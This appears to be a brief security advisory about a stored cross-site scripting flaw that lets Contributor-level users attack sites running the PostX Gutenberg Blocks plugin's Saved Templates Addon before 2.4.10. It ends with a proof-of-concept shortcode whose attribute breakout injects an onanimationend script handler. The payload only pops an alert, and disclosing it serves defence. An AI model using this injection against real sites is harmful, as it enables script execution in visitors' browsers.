PostX Gutenberg Blocks Saved Templates Addon < 2.4.10 - Contributor+ Stored Cross-Site Scripting

Description

The plugin, with Saved Templates Addon enabled, allows users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks via the plugin's shortcode.

Proof of Concept

Create a page as any user with the following shortcode block:
[gutenberg_post_blocks id='a" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(origin)//']